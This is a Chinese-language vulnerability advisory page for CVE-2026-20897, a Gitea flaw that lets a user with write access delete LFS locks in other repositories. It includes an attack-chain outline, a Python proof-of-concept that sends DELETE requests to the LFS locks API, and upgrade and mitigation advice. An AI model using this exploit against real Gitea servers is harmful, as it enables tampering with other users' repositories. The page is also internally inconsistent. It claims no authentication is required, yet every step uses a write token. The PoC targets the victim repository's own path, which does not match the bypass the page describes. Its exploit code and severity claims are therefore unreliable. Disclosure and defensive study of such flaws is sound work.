IPBUF安全漏洞报告
English
CVE-2026-20897 CVSS 9.1 严重

CVE-2026-20897 Gitea LFS锁删除权限验证不当漏洞

披露日期: 2026-01-22
来源: 88ee5874-cf24-4952-aea0-31affedb7ff2

漏洞信息

漏洞编号
CVE-2026-20897
漏洞类型
权限绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gitea

相关标签

权限绕过GiteaGit LFSCVE-2026-20897仓库隔离绕过锁管理漏洞

漏洞概述

Gitea是一款开源的自助Git托管服务软件。该漏洞存在于Gitea的Git LFS(Large File Storage)锁管理功能中,由于程序在删除LFS锁时未正确验证仓库所有权,导致具有一个仓库写权限的用户可以删除其他仓库的LFS锁。这是一个严重的权限绕过漏洞,攻击者可以在无需认证的情况下(针对特定场景)利用此漏洞破坏其他用户对LFS文件的锁定状态,可能导致协作冲突或数据一致性问题。CVSS评分高达9.1,属于严重级别漏洞。

技术细节

该漏洞的根本原因在于Gitea的LFS锁删除接口缺少仓库所有权验证。攻击者通过构造恶意请求,指定目标仓库的LFS锁ID,系统未能正确验证当前用户是否有权删除该锁。具体来说,当用户对一个仓库具有写权限后,可以通过API或相关接口发送删除请求,目标指向另一个仓库的LFS锁ID。系统仅验证了用户对某个仓库的写权限,但未验证该权限是否针对目标锁所在的仓库。攻击者利用此缺陷可以强制解锁其他用户创建的LFS锁,破坏文件版本管理流程。修复方案需要在删除LFS锁时增加仓库所有权的二次验证。

攻击链分析

STEP 1
信息收集
攻击者获取目标Gitea实例的访问权限,拥有至少一个仓库的写权限
STEP 2
发现目标锁
通过API枚举其他仓库的LFS锁,获取目标锁ID
STEP 3
构造恶意请求
构造DELETE请求指向目标仓库的LFS锁API端点
STEP 4
权限绕过
系统仅验证攻击者具有某仓库的写权限,未验证目标锁是否属于该仓库
STEP 5
锁删除成功
成功删除其他用户的LFS锁,破坏文件锁定状态

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-20897 PoC - Gitea LFS Lock Deletion via Ownership Bypass # This PoC demonstrates how to delete LFS locks from other repositories import requests import json TARGET_GITEA_URL = "http://target-gitea-server.com" ATTACKER_TOKEN = "your_write_access_token" TARGET_REPO = "victim/repo-name" TARGET_LOCK_ID = 12345 # Lock ID from target repository def delete_lfs_lock(): """ Delete LFS lock from another repository without proper ownership validation """ headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # The vulnerable endpoint doesn't properly validate repo ownership url = f"{TARGET_GITEA_URL}/api/v1/repos/{TARGET_REPO}/lfs/locks/{TARGET_LOCK_ID}" # Request to delete the lock response = requests.delete(url, headers=headers) if response.status_code == 204: print("[+] Successfully deleted LFS lock from another repository!") return True else: print(f"[-] Failed: {response.status_code} - {response.text}") return False def list_locks(repo_path): """List LFS locks to find target lock IDs""" headers = {"Authorization": f"token {ATTACKER_TOKEN}"} url = f"{TARGET_GITEA_URL}/api/v1/repos/{repo_path}/lfs/locks" response = requests.get(url, headers=headers) return response.json() if response.status_code == 200 else [] if __name__ == "__main__": print("CVE-2026-20897 - Gitea LFS Lock Deletion PoC") print("Target:", TARGET_GITEA_URL) print("Target repo:", TARGET_REPO) delete_lfs_lock()

影响范围

Gitea < 1.25.4

防御指南

临时缓解措施
立即升级Gitea到1.25.4版本。如果无法立即升级,可以限制用户对LFS功能的访问权限,并启用详细的访问日志监控,检测异常的锁删除行为。同时检查是否存在非授权的锁删除记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表